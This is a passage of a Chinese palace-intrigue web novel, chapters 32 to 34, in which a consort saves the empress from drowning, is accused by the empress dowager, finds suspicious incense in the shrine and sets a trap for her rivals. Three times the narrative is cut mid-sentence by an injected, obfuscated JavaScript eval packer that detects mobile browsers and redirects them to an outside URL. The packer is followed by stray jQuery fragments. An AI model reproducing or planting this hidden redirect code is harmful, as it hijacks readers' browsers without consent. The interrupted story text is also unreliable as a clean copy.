流萤早就觉得这么多人都挤到一起,肯定会有一不小心再掉下去的,只是没想到这个人会是被人左防右防的皇后。 是以一看见皇后落水,她就比任何人反应都快。几乎是想都没想,电光火石间就拽开前面的人,大步跨过栏杆,一个猛子扎了进去。 32. 对峙太后 皇后的身量比流萤小上一大圈,又是刚刚掉下去,三两下就被流萤抓住了。 流萤一边安抚着“娘娘别怕”,一边钳住皇后的胳膊,好叫她不能瞎扑腾跟自己较反劲儿。 但没想到玉瑶池的水还挺深,流萤伸直了腿才勉强够得到底。她想拖着皇后一起游回去,却发现尽管只有几步远的距离,但她只靠一只胳膊发力的话,还是拨不开水。 于是立即停下调整姿势,把皇后拽到自己面前的正中央,憋好大一口气沉头下去,才借着浮力从后面将皇后向上举起来。 汪芷柔眼疾手快,一把抓住皇后甩过来的手腕。 “快来帮忙!我一个人拽不动!” 她对一旁早已脸色惨白、浑身发抖的宫女叫嚷着。终于七八只手一起将人拽了上来。 汪芷柔赶紧又回去抓流萤,正好此时远处的几个太监也夹着闵悠悠游了回来,有他们在底下托着,流萤也很快爬了上来。 “幸好老天保佑,你可吓死我了。” 汪芷柔扯下肩上的披风给流萤裹上,不停在耳边嘟囔着,她是真的担心。 流萤小声说着,“我没事,你好好记下刚才发生的,每一步都要记清楚。以防别人问起,好知道怎么说。” 拧一把裙子就往皇后那边走去,看皇后只呛了几口水并没什么大事,流萤这才放下心来。 好事儿不能白做。 她救的可是皇后的命,太后不得有点表示?上次没进去的慈安宫,这次万不能错过。 可能也是真付出了行动,结果如她所愿。太后知晓了此事后,直接命人把他们几个和全部太医都叫进了慈安宫。 流萤躺在偏殿小床上,听着外头沉闷而有力的棍棒声,以及凄凄惨惨的哀求声,也为自己捏了把汗。等会儿太后必定也得拷问拷问她,谁叫她出现得如此凑巧。 贺九仪为她诊了脉,确定只是落水着凉并无大碍,心里石头落地,沉沉点了点头对流萤说道。 “喝几副驱寒药就没事了,这回你不用再怀疑自己身体不好了吧。” 太医令和太医丞等人都在皇后那边轮番看诊,剩下该给闵悠悠和流萤看诊的医监和医正也知道得紧着跟皇后更亲的闵悠悠照顾,再加之宝珠之前撒泼闹过一次太医署,他们便只推了贺九仪过来。 贺九仪正好求之不得。 “贺医正竟还记得,都是我混乱问的罢了。” 流萤平静扯扯嘴角浅笑一下,“那就有劳了。” 见没人来催,贺九仪索性边搭脉边开起方子,嘴里还自顾自念着,“多加两味清肺的药,湖水脏。” 流萤静默不语,打量着眼前人,想下次见面该送些什么礼物好。 虽知他医术好又负责,但对自己也有点过于上心了吧。听宝珠打听回来的消息,可是他从不跟主子多言呐。 于是试探性打断,“嗯……贺医正,我还有一不情之请,想要你帮忙。” 流萤做了个要他附耳过来的动作,问道,“有什么能避孕的法子吗?” 避孕?! 贺九仪惊大了圈眼睛,不解看着流萤。 宫里哪个嫔妃不是做梦都想怀有龙嗣,头一次听说还有人求不要的,“才人何故如此?” “你没否定,那就是有。” 流萤抓住漏洞,肯定说道。 而且贺九仪的第一反应,并不是说她这是大逆不道的话,就代表他心里已经默认了能帮她、想帮她。 他对自己一定有所图,但图得是什么,流萤不敢猜。 反正不会出卖她,就够了。 “我如今病了,这几日还会请你到银汉宫看诊,我希望下次就能见到。” 流萤声音很轻,语气却是一点不容拒绝。她也没多作解释,只让贺九仪养成服从命令的习惯就好。 话音刚落,太后身边的崔嬷嬷叩门走了进来,“太后娘娘有话要问,贺才人可能行得动?” 崔嬷嬷声音冷冷,丝毫没有对救命恩人的客气。流萤知道自己方才猜得没有错,太后果然怀疑她。 流萤扶额起身,脚落地的一瞬间还佯装了下晕眩。贺九仪最是清楚流萤的身体状况,忙配合她虚扶了一把,嘱咐句,“才人回去后应多休息,风寒不可轻视。” 进了正殿,只见太后端坐上首,汪芷柔已被提前问过话,跪在下面。 “箫筠说是你救了她?” 明明是事实,太后却不信。 听这语气还不如直接问她为何就那么凑巧在那儿?又为何敢跳下水救人? “回太后娘娘,渭州淳朴但也简陋,嫔妾自小就不比京中闺秀养得金贵,贪玩学过凫水。今日与汪才人结伴路过望仙阁,听闻上面风景独好,就上去坐了一会儿。但是风大吹人,待不多会儿便准备回去了。” “意外听见底下有喧哗声,好信儿看了竟像是有人落水,嫔妾便自大想着也过去帮帮忙。结果下来看见是闵采女在水里扑腾,又有好些个太监已经下去救了,就在岸边等着,不好再下去添乱。” “可不知怎地,皇后娘娘把着栏杆竟也掉下去了。嫔妾担心已经游出一段距离的太监折返回来耽误事儿,也来不及多想就直接跳下去了。只是没想到那湖水竟还很深,幸好离岸边算近,皇后娘娘没什么大碍吧?” 流萤一口气说完。 她知道汪芷柔不会撒谎,她就依着全部事实说,只不过省去了中间的一些对话内容。 “不是你推的?”太后阴沉着脸,厉声发问。 太后对朝政把控得多,眼线自然也多。早在五年前降旨赶闻景去陇西之时,太后就派了亲信跟随监视。而得到的线报,却是一直都是安稳平常。 按着分封祖制,闻景到陇西是空顶郡王头衔,并无参事实权。只出席祭祀祈福等场合彰显皇室威仪,因此跟当地几个政要官员相处也算融洽。 其中就包括封地上官阶最高的渭州刺史贺元易,二人秉性相吸,时常以棋会友相邀做客于府上,一去就是整一天。 这些太后都知道,奈何迟迟不见他们再有别的动作,她也无权下令制止二人交往。便只能增多眼线,加强提防。连带对贺元易一家也时刻紧盯。 此前早有消息传回贺元易之女,仅管大门不出,但在内宅也是个性子顽劣、不省心的。太后还记得上次流萤留宿紫宸殿受了惩罚时的谦卑懦弱,如今看来,竟全都是伪装罢了。果然不是个好对付的。 五年时间不短,足够他们将未来必定进宫为妃的贺之遥培养得心怀叵测、阴险狡诈。是以太后不会相信什么恰好、什么意外。 冷冷命令道,“哀家给你个机会,说出指使了谁锯坏游廊木栏,可许你祸不及家人。” 锯坏了游廊木栏?! 流萤一脸震惊。 但抬头对上太后那双老辣狠戾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339278|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神,又清清楚楚表示着她已调查出始末,只差揪出流萤暗中的帮手,揪出潜伏在皇后身边的叛徒。 “太后娘娘,嫔妾并不知栏杆有损,也从未做过任何害人之事。”流萤顿首答道。 还祸不及家人,太后竟对自己动了杀心吗? 看来皇后真是一点碰不得。 流萤极力让自己镇定下来。思忖太后敢在众目睽睽之下强行诬陷,着实是她没想到的。但这个手法嘛…… “如果您确定木栏是被锯坏的,那么嫔妾就必不可能是害人之人!”流萤坚定说道。 “锯子并非日常杂扫工具,嫔妾也不是木匠,不仅嫔妾宫中,想必任何一宫都不会有。” “虽然嫔妾不知具体是谁修葺维护这些木栏,但宫中六局定不负责。嫔妾入宫不过月余,人还尚未认全,如何能指使上别个?更别说有什么手眼通天的能力还能伸出宫去,简直天方夜谭。” “而且,嫔妾只在贤妃设宴时见过皇后娘娘一次,此后再无任何交集。今日偶然遇见,娘娘都不记得嫔妾是哪个,嫔妾又怎可能心生歹念谋害皇后呢?” 要说理由,流萤还有无数条。但没必要。 修葺皇宫建筑是将作监的事儿,日常维护还有内侍监盯梢,太后若真想找到幕后黑手,一定比自己更有办法。 流萤现在要做的,只是在大殿之上让所有人知道自己不具备暗害皇后的条件就够了。 流萤说这些话的时候虽然也有惶恐,但更多是底气十足,甚至还有一丝救人英雄反被污蔑的赧然气愤。任谁看了都愿意相信她几分。 独独除了太后。 越听流萤这么说,越觉得此女深不可测,越担心她真的跟闻景扯上干系。 闻景可远非闻寻那样无所依仗。不仅母妃在先帝面前得脸,舅父许耘更是任工部尚书,在朝多年颇有口碑。且门生兴旺,六部九寺皆有人脉,即使大多是小官,也不容掉以轻心。 尤其是工部侍郎叶世清也为许耘门生,有他们师徒二人把持,工部就是太后最难拿下的一块。 所以才会在成宣元年就下旨令叶世清亲妹叶知秋进宫,初封便是九嫔之一的修媛,足可见太后的拉拢和挑拨之意。 太后也深知,当年若没有下血本舍出自己,还真不见得能扳倒闻景母子二人。因此,即便龙椅之争早已尘埃落定,但只要闻景在一天,她就不得不防他们卷土重来。 从前还只是前朝,如今后宫里竟也塞进来了一个烫手山芋吗? 太后审视着流萤那张明明波澜不惊,却故显忐忑的面庞,忍不住冷哼。 只等中宫有了嫡子,这些人有一个算一个,定叫他们有来无回! 遂一挥袖命人带流萤下去,暂留在偏殿,“此事哀家会彻查,没你的事最好!” 汪芷柔眼疾手快过来搀扶流萤,其实她自己也是强撑着身子,早已被太后震慑得心脏突突,只想快点离开。但留流萤一人在慈安宫她又不放心,便偷偷求了崔嬷嬷,晚些再离开。 崔嬷嬷自没工夫搭理他俩,留下两个小宫女盯着,转身就去看皇后了。那可是太后的宝贝疙瘩,若出了事儿真可能叫他们所有人陪葬。连跟在太后身边这么多年的自己,也不见得不会被牵连。 汪芷柔送走崔嬷嬷,又支使两个小宫女在门外守着就行。小心翼翼关好门,才折返回流萤身边说道,“闵悠悠好像情况不太好。” 33. 探慈安宫 “闵悠悠呛水时间有点长,我听着像是说进肺了,现在还高热不下呢。”汪芷柔此时提起仍心有余悸。 她早也被太后怀疑,刚一进慈安宫就叫崔嬷嬷领走给隔离开,像是担心他们窜供一样。也因如此,才听得清楚太医给太后的回话。 “那皇后呢?应该跟我状态差不多吧?”流萤问。 为了让皇后少呛几口水,她可是一直把人架着呢。 汪芷柔点点头,“皇后没事,这会儿正泡热水澡呢,太医说救起来得及时,一点事儿没有,比你精神好!” 说到此处,汪芷柔不免深深叹息,“怎么能把咱们当成害她的人呢?若不是你奋不顾身,就凭那几个呆若木鸡的宫女,她肯定……” 她想说皇后肯定比闵悠悠强不到哪儿去,但她也知道不能说,就委屈得只想抹眼泪。转过去看流萤身上湿衣裳都还没人给换,眼眶更热,眼泪唰地一下就掉下来了。 不知何时起,汪芷柔已不再将流萤看作能救她于水火、为她惩治坏人的靠山。而更多的是把她当作朋友,当作要在宫中相处一辈子的好朋友。 她也想为流萤做点什么。 于是边哭边要跟流萤换衣服穿,差点把流萤逗乐了,“当这儿是我的熠光殿、还是你的静兰轩?别忘了,咱们现在在太后眼里可还是罪人呢,能叫贺医正给我瞧瞧病就算不错了。” 她也知道湿衣裳挂在身上难受,但人在屋檐下不得不低头。而且比起这个,流萤更想趁所有人注意力都在皇后那边的时候,探一探慈安宫。 “帮我叫门口的那俩人拿几条干棉巾来,怎么也得擦擦干不是?”流萤冲门口点点下巴。 待汪芷柔交代完回来,她又低声凑近狡黠一笑,“还是委屈你跟我换一会儿吧。” 流萤三下五除二换上汪芷柔的衣裳,还让她重新整理一下发髻,弄得跟自己像一些,“替我在这儿躺半刻钟,不出半刻我一定回来。” “啊?!我……” 汪芷柔一句话都还没说完就见流萤撑开支摘窗,从底下嗖地蹭了出去!动作轻盈又娴熟,像只惯犯猫儿。 天呐,她是让池水泡疯了吗? 这是什么意思?她到底要去哪儿啊?她不怕被人看见吗? 无数个疑问一瞬间冲上头顶,奈何流萤早已不见踪影,汪芷柔只得上床转到里侧。面向墙壁,拽着干棉巾紧捂着嘴,不敢让自己发出一点声音,害怕稍一张口就会露馅。 汪芷柔蜷在床上冷汗涔涔,流萤那边也是紧张到细汗层出。 她记得闻景说过,慈安宫中西侧有一小佛堂,平日除了太后本人,谁也不让进。 如果有秘密,在那里的概率一定最大。 流萤从未进来过慈安宫,不知道是个什么格局,唯有靠着空气里稀疏的檀香搜寻小佛堂的方向。辗转两道墙,终于看到了“净光堂”三个大字。 匾额下的格子门大敞着,能看见里间正中央供桌上,一尊鎏金佛像端坐于莲花宝座之上。佛像眉目慈祥,低垂的目光似乎在俯瞰众生,手中结印,安定人心。再看佛像前袅袅香烟只燃了小截,显然是事发突然,太后礼佛一半就匆匆离开了。 小心摸过去,流萤还注意到两侧的佛龛前各置了一个金光闪耀的金刚杵。金刚杵代表坚不可摧的力量,可以消除邪祟、震魂压魄。 太后会摆奉这个,流萤一点不觉得奇怪。她替太后抄了四年的往生经,为了可都是这个。 朝代更迭总离不开嗜血屠戮,开国将士的亡灵需要祭奠,无辜惨死的游魂更需安抚,是以大兴朝新立的第一件事就是要求各地兴建佛寺,以慰亡魂。 但是收效甚微,双手染血的太后仍时常梦魇惊醒,接连入梦全是冤魂索命,根本无法入眠,遂下令各州各县至少再新建三座尼庵,专为她消灾祈福。 尼庵好建,女尼却不好凑。一些小县实在凑不齐,竟就丧尽人伦直接花钱买。流萤就是这样被她那个赌鬼父亲卖进积元寺,换了还不够他玩上半天的赌资。 流萤紧贴着墙,探出头四下张望,确定连应该看守的小佛堂的奴才都跑去皇后那边待命了。才壮着胆子提裙,风一样钻了进去。 发髻里的水还未干透,顶着风小跑几步真不是一般的凉。但也让人无比清醒。 流萤站到格子门打下的阴影里,举目环视一圈。室内不大,并没有能藏东西的柜子,唯有东西两侧各置一博古架,上头一览无遗摆放着各种经卷,也不像什么什么重要之物。 若真有遗诏,也不能就这么大摇大摆地露在外面吧?流萤虽然觉得不可能,但还是秉着绝不错过的原则,凑近翻了翻。 没想到还真有意外收获。 但并非发现了遗诏,而是最上角的一个宝相缠枝象耳香炉吸引了流萤的注意。更准确地说,是里头散出来的香味儿叫住了她。 屋里所有呈香的地方都是檀香,干燥、深沉,仿佛围了一圈参天古树在身边。唯独眼前这个香炉,竟有一股淡淡的艾草味?苦涩、清凉,跟薄荷有点像,但更为温和。 流萤低头仔细嗅了嗅,确定没有闻错,便更觉得可疑。 这个香炉摆放的位置其实有一点刁钻,正好卡在博古架顶头一端的间隙里,可以用严丝合缝来形容。所以一旦放上了、宫人们为了省事不出错一定不会轻易取下来,顶多擦擦外表,不断填新香。 而博古架距离中间的团垫又较远,这么若有似无的味道,相信太后跪坐礼佛时也绝对察觉不到。 而且就算闻出来了应也不太会当回事儿,艾草都能拿来做团子吃的,又能是什么毒物。 但直觉告诉流萤,这个香一定有问题。 她才贴着香炉闻了一小会儿,已经觉得额间顶胀,有种想吐的感觉。 滴水能穿石,太后天天被这香侵蚀,身子骨能好就怪了。 有人想害太后? 会是叶知秋吗? 她竟有这个本事,能将手伸进慈安殿吗! 流萤退回到门边,吸了几口干净的空气才缓解掉不适。 闻景虽然只交代她找到先帝遗诏即可,但流萤很清楚,等他杀进皇城宫的时候,是决不会放过太后的。 那么提前给叶知秋安排毒害太后这个任务就十分有可能。太后死了,他的事儿就成了大半。 难怪他迟迟不让叶知秋联系自己、不给自己新的指令。或许是根本就没想过让她们二人有什么交集,这样叶知秋才能一直隐藏下去。 而闻景没有告诉自己,一是知道的人越少越好,二则是他并不信任自己。 他所说的需要一个得宠美人到闻寻身边吹枕边风,完完全全就是为给暗里的叶知秋打掩护的意思。 因为闻景很清楚,对于与他结交颇洽的渭州刺史之女进宫为妃这件事,一定会引起太后的重点关注。他们之间的种种恩怨是彼此都心知肚明的,太后也必定知道闻景做梦都想把她杀了,夺回自己的一切。 怪不得从留宿紫宸殿到这次皇后落水,太后对自己除了不加掩饰的不满,还有铺天盖地的提防。 竟是自己反应慢了。 流萤讪笑,没想到闻景对她的利用居然还有这一层。那这可就不是此前谈好的暗子价钱了。 她已经明得不能再明了。 背负双重风险,该她得到的自然就得更多。 幸而为时不晚,叫她早发现了端倪。她现在不光要在闻寻面前站住脚,流萤还在想有什么东西是闻景在意珍视的? 最好是那种失去了无伤大局,但却会疼得他抓心挠肝的…… 她揶了揶耳侧半干的碎发,决定下个月先利用汪芷柔那条线给闻景送点信儿回去。叫他也看看自己的本事。想舍车保帅没问题,但关键是,谁才是那个帅。 “诶,那个闵采女真是个盛不住福气的,陪皇后娘娘三年好不容易快要长成熬出头了,这又落水醒不过来了。” 有人回来了?! 流萤暗道不好,外头脚步声越逼越近,她四下扫扫,只得先绕道佛像后蹲下。 两个宫女的蛐蛐声仍未停,“所以这不就假模假式地让咱们给她送福去了吗?赶紧挑两卷经书走吧,去晚了小心再怪到咱们头上。” 流萤低头屏住呼吸,听二人挑挑拣拣,脚步声渐行渐远,才小心翼翼起身,弯腰贴着门跑了出去。一路疾行,正正赶在崔嬷嬷来叫她回宫之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339279|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔嬷嬷推门看见流萤和汪芷柔互换了衣裳,愣了一下,旋即又稍显尴尬地冲门口两个小宫女责怪道, “叫你们在此看着,眼睛都白长了吗?贺才人衣裳湿着,也不说找件干净的给换上,晚上都别吃饭了,好好反省去!” 流萤毕竟是主子,即便太后对她救人的行径还有所怀疑,但皇后确实是从她手上救下来的,也不能太过苛待。 “不妨事,左我们也要走了,回去再洗也是一样的。” 流萤止住汪芷柔正欲解扣子的手往身侧一拽,“请崔嬷嬷稍等片刻,我俩把衣裳换回去再出门,也省得汪才人再到我那儿折腾一趟了。” 崔嬷嬷求之不得带上门退了出去,就算流萤不说,她也不会让二人就这么从慈安宫出去。不然叫外头人看了少不得碎嘴,到头来挨说的还是他们这些下人。 汪芷柔用最小的音量问流萤方才到底去哪儿了,她在屋里大气都不敢喘。 流萤没回她,只卷起她的袖子,又确认一遍那两只镯子都戴没戴好,“过段时间再告诉你,得先把这件事处理完,你也不想天天看关采曼的脸色了对不对。” 抓贼抓脏,“物证”已经有了,只差“人证”。 那日之后,小金子一过子时就偷偷往北武门和尚食局两边溜来溜去,他不敢提灯,就那么摸黑探寻,终也是发现了两条接洽的路线。 “主子,二选一,要不您来预测一下?” 经历春桃一事,小金子对流萤只有佩服,是以到了抉择的时候第一个就要来问她。 小金子从前不爱言语,以为这辈子就这么空守银汉宫也挺好,不用忍饥挨饿,也没人再找他麻烦。 但后来有了流萤这个主子,主子身上总有一股向上生长、不达目的誓不罢休的活泛劲儿莫名影响着他,竟让他也跟着越来越有奔头。甚至开始期待主子一路高升,他便也能跟在身侧时腰板挺得再直些。 “随便哪条都行,咱们有试错的时间。关采曼刚倒换一个玉净瓶出去,这才隔几天,他们哪儿有那么多货。”流萤说得漫不经心。 然事实也应景,到了九月十三,小金子提前蹲在角落盯梢,一路跟踪,小盛子却是七绕八绕,一步都没走自己踩好的道。 九月十六,小金子再跟。这次他边跟边记,发现又有四处拐角跟上次不同。 小金子心想若是每次都不一样,那可就难办了,是以再回去禀告给流萤时,便说出了自己的顾虑。 流萤思忖片刻后道,“既然没有固定路线,那咱们就给他造一条出来。你这样……另外把春桃叫过来,有些话,我得亲自交代她。” 春桃一身警惕,仅管那些水泡早已愈合,但流萤给她的压迫感却深入骨髓。“主……主子,下次去见红绡,我一定都按您吩咐的说,绝不背叛您!” 流萤撇嘴冷哼,“我可担不起你这句主子。” 如今闻寻隔三岔五就传流萤过去说说话,得宠的势头跟江绮玉不相上下,春桃看在眼里,自然更害怕流萤真要把她送给林保益打点关系。 即便不送给林保益,随便编排一个不守规矩的罪名,内侍监也会上赶着讨流萤欢心而将她打发走。那样春桃就是两边都得罪了,更没有活路可言。 所以流萤根本不担心春桃会节外生枝,“我不光要你说银汉宫里没再东西可让你碰到,还要你告诉他们发现了我另外的秘密。” …… “你知道?关采曼居然叫我来查探你是否跟外男私通?!” 汪芷柔提着厚厚裙摆,大步往里间迈,才看见流萤露一个头就再压不下心头震惊于疑问,想知道她到底又瞒自己什么。 “她倒是急,这才放两日口风儿。”流萤不紧不慢招呼汪芷柔过来坐下先喝口茶。 “你不说我就不喝!上次在慈安宫你就什么都不说背着我跑出去,这回又是让我提心吊胆,你到底有没有那我当朋友啊?” 汪芷柔头一次这么硬气,娇滴滴的小嗓音带了怒气,意外地让流萤觉得有些可爱。遂笑了笑哄道,“这不是才逼真嘛。好了,以后再不瞒你。” “那你快告诉我,关采曼那话是什么意思?” 34. 外男私通 流萤偷偷给宝珠使了个眼色,宝珠立刻心领神会。 有些事主子连自己都背着,更何况是别人身边的奴婢呢,于是立即找了个借口要拉着桂儿去取些糕点给两位主子吃,将人一把带了出去。 待格子门紧紧关上,屋里只剩下他们二人,流萤才对汪芷柔正声说道,“是我特让春桃这样与红绡说的,我心里有数。” 她讲起小金子跟踪的曲折,讲起北武门、尚食局和银汉宫三者之间的地理关系,汪芷柔听完也似懂非懂分析起来,“你的意思是既然找不到小盛子折返的必经之路,不如就把他往你这儿领、创造条路出来?” “可也不至于说那样的话抹黑自己吧?而且这跟小盛子又有什么关系呢?难不成他还真能好信儿绕道特跑来看看?” 汪芷柔怎么想都觉得十分不妥,女人名节事关重大,更何况是皇帝的女人。她害怕节外生枝,害怕失去唯一的朋友,忙要劝服再想别的法子。可流萤却说, “放心吧,我心里有数。而且,不仅小盛子会来,还有一人也会来。” “还有一人?”汪芷柔绞尽脑汁想了一遍,然后不敢相信地做了个口型,“你是说……” “正是。” 流萤挑眉,唇角爬上一抹狡黠窃喜。 这个一箭双雕的局,她势在必得。 遂仔细跟汪芷柔嘱咐一遍,“等你回去了,且说一进来就看见我跟宝珠嘀嘀咕咕,然我俩见了你又明显发慌,确有可疑。” “这样,关采曼一定更觉得所言非虚,便会让你继续来探。等来多两次,你再这样告诉他们……” 汪芷柔悉数记下,并在十月初五那天倾情上演了一场好戏。 这一日天高气清,初冬特有的寒意微微透着凉薄,偶有阳光穿过稀疏云层,清爽而温暖。是难得的好天气。 嫔妃们照例从贤妃的承德宫出来,三两相邀想在落雪前再到游园聚上一聚。或真情或假意,她们都是彼此最可能相伴余生的人。 汪芷柔也在一众队伍里,但她面色戚戚,眉宇间愁云笼罩,仿佛正为着什么事儿难以释怀。 “做什么心事重重的?前儿个开始你就魂不守舍,怎么,去几趟银汉宫难不成又撞见鬼了?” 孔映欢拿胳膊怼了汪芷柔一下,一副看好戏的模样打趣道。她可太好奇汪芷柔到底藏着什么心事了。 自从关采曼让汪芷柔去查探流萤是否有跟人私通的事情后,他们就一直关注着进展,无时无刻不想借这个机会将流萤斩草除根。 “没,没什么。” 汪芷柔吸了吸鼻子,转身就要走,却被孔映欢一勾手拽住,“跟我还有什么不能说的,咱俩处境才是一样,我自会比他们更懂你。你且放心说吧,总把烦恼自个儿憋在心里,回头再生毛病了。” “是啊,都不容易,你在江美人身边没那么好过,唉……贺姐姐她也” 汪芷柔长叹了一口气,欲言又止,把孔映欢看得那叫一个着急,就差直接掰开她的嘴了。磨了好几遍,才磕磕绊绊听出来点有用的东西。 孔映欢旋即瞪大了眼,“你是说看见了被撕碎的字条,上面隐约还有约好初六或是初八相见的字样?” 她不敢相信确有此事,一下子没忍住惊呼了出来,“贺之遥竟真敢与人私会?!” 汪芷柔连忙捂住她的嘴,急红了眼求她小点声,“那些字的豁口正好在被撕的地方,万一是我看错了呢?” “就算字儿看错了,她也一定有见不得人的事儿。你不想想,能大大方方见面的人哪儿还需传什么字条吗?” 孔映欢轻蔑哼出声,“可惜了皇上待她那么好,竟还不恬不知耻跟人苟合。而你我这样一心一意待皇上的却被遗忘角落,真是好没天理。” 孔映欢和汪芷柔一样,除了进宫后的第一次侍寝以外,再没得机会单独见过闻寻一次。汪芷柔胆小懦弱,被关采曼捏得死死的,估计这辈子都不用指望得什么宠了。 可她不一样,她进宫就是为了一步步升上去的。只有她在宫中得势了,娘在家中的地位才能跟着巩固。 “从前你可听她提起过何人?或是跟哪个侍卫有过什么特别的交集?”孔映欢继续追问。 她觉得皇宫有重兵把守,宫外的人怎么着也进不来,所以还是哪个不开眼的侍卫面儿大。而且银汉宫位置那么偏僻,那侍卫就算真在附近被碰上了,只要说是巡逻的,也定能遮掩过去。 汪芷柔默默摇摇头,晃神片刻又像是突然想到了什么,猛一抬头张口要说,却立即又紧紧闭上。死抿着唇,仿佛坚决不能出卖朋友一般。 “哎哟,我的傻姐姐,她要是真当你是个贴己的,岂会发现不了你在庆祥宫中的日日难处?也没说在皇上面前帮你一把,难道还看不出跟你只是逢场作戏吗?况且如今你已常伴关充媛左右,她与你的情分只会越变越淡。” 孔映欢掏心窝子似的劝着,待见汪芷柔神色稍有动容,立即加大马力,“再说了,我也就是开导开导你,怕你思虑多了心累,你权当是个画本子里的故事与我说说也好呀。” “……行吧,一直憋在心里,我也委实难受。” 汪芷柔拉着孔映欢往没人的地方又走了走,“之遥刚入宫的时候起过一阵子红疹,你可还记得?” 孔映欢点头,汪芷柔又道。 “那会儿她心情不好,我去探望两次也都没怎么让进门。但是有一次我还未走到宫门口,竟离远看着一个侍卫打扮的人站在门口跟之遥说话。那人还递给之遥一个什么小东西,胭脂盒似的。” “胭脂?!这俩人胆子也太肥了吧!”孔映欢眯起了眼,面上是说不尽的鄙夷。 “不是不是,那人走后我在外头等一会儿也进去了,正好看见宝珠在给之遥上药,拿的就是我之前看到的那个小盒。只是一盒消肿祛痕的芦荟膏而已。” “兴许是那会儿太医署给她瞧病的太医不尽心,用了药迟迟不见好,她着急了才另想别的法子买点药吧……” 汪芷柔越说声音越小,仿佛自己也没了底气,说出来的话根本不能叫人信服。 孔映欢冷哼讽刺道,“什么买药,分明是那个侍卫上赶着送她的!真是长了张漂亮脸蛋就能为所欲为了啊。迷倒了皇上不算完,连侍卫也要勾引,啧啧,她也下得去手!” “就是不知怎么勾搭上的,难道这俩人一进宫的时候就开始有眉目了?!你可记得那人长什么样?”孔映欢转回身直视汪芷柔,想从对方脸上找到答案。 但她想得太美好,汪芷柔只是微微摇头说离得太远、看不清。 “我可是看在你我二人如今在宫中都身不由己的份上,才跟你说说心里话,你万不能害我,万不能告诉关充媛和江美人。这件事八字没一撇,若是污蔑了之遥,我得内疚一辈子!” 孔映欢嘴上说了一百遍叫她放心,转头就一字不落地说了江绮玉听。 她知道江绮玉是阖宫最希望流萤死的人,她称第二没人能称第一,必定想亲自下手。自己就权当做个顺水人情。 而且这件事若成了,不止流萤必死,作为揭发皇帝头戴绿帽的江绮玉也不会再得什么好脸。即使有太后在其背后撑腰,皇帝也绝不可能再对这么一个知他尴尬糗事的人动什么心思。 一下子就除掉两个正得宠的,孔映欢怎么算都不亏。 她可没想一直靠江绮玉漏剩下的缝隙过活,早晚要越过所有人,独当一面。 孔映欢曾偷偷给自己卜过卦,入宫两年必晋美人。可当真的进来了这日长似岁的皇宫,两年她都嫌久,只后悔入宫前没跟父亲要一些助力符咒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339280|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔映欢的父亲是太史丞,除了观天象、推算法,最叫她父亲拿得出手的就是卜卦画符。 这是孔家代代相传的本事,孔映欢虽只为女子,但在家中时也跟着学过几手,并且学得不比几个兄长差。小卦小算,不在话下。可符咒一类却是父亲从不让她碰的了。 这次告密,她占的卦也好。事情进行得格外顺利,才跟江绮玉一说,就迫不及待要去抓个现行。 于是紧锣密鼓布置了一天,觉也不睡直等到丑时,兴冲冲就领着孔映欢和几个奴才往银汉宫方向去了。 孔映欢推脱了几遍不想去,但实在不抵江绮玉的威逼利诱,只能硬着头皮前往。心里默默希望流萤与人约定的是初八,不是初六。这样她今日回去之后就可以借口托病,不用再跟来了。 但事总与愿违,他们越走越能看见远处枯树下,正有两个暗色身影驻足而立,一高一低,正像是一男一女。 孔映欢只感觉心都提到了嗓子眼,颤颤去够江绮玉袖子,“姐姐,你能看清吗?那是不是贺之遥?咱们别认错了人,反倒麻烦。” 江绮玉看得两眼放光,哪还管眼前人只是露了个背影,就笃定说道,“肯定是啊!这大半夜的,除了她不知死活,还有谁敢在外面乱晃!” “走!咱们跟上,一定要把那对狗男女都扣下!” 江绮玉兴奋得上头,叫身后几人赶紧加快脚步,别跟丢了。 孔映欢被安排走在最前面,进不是退也不是,骑虎难下之际,恰好身后的青黛一把拽住了江绮玉胳膊,“主子,咱不是说好看见人就回,先禀告贤妃娘娘,再做打算的吗?” 青黛是贤妃特指给江绮玉的,为的就是看紧她别再丢人出岔子。上次在安仪殿前,也是青黛一直拦着江绮玉,才不至于当着闻寻的面就直接跟流萤动起手来。 有了青黛发话,孔映欢心里石头缓缓落地,忙也跟着小声劝道,“是啊姐姐,别打草惊蛇了,还是等娘娘决断吧,这可不是小事。” 江绮玉看了二人一眼,又扭头看看那边越缩越小的人影,她还是想直接拿下流萤再交给贤妃,好叫贤妃看看她不是个没用的。省得贤妃总不把她当自己人。 于是硬掰青黛的手,不料反被攥得更紧。 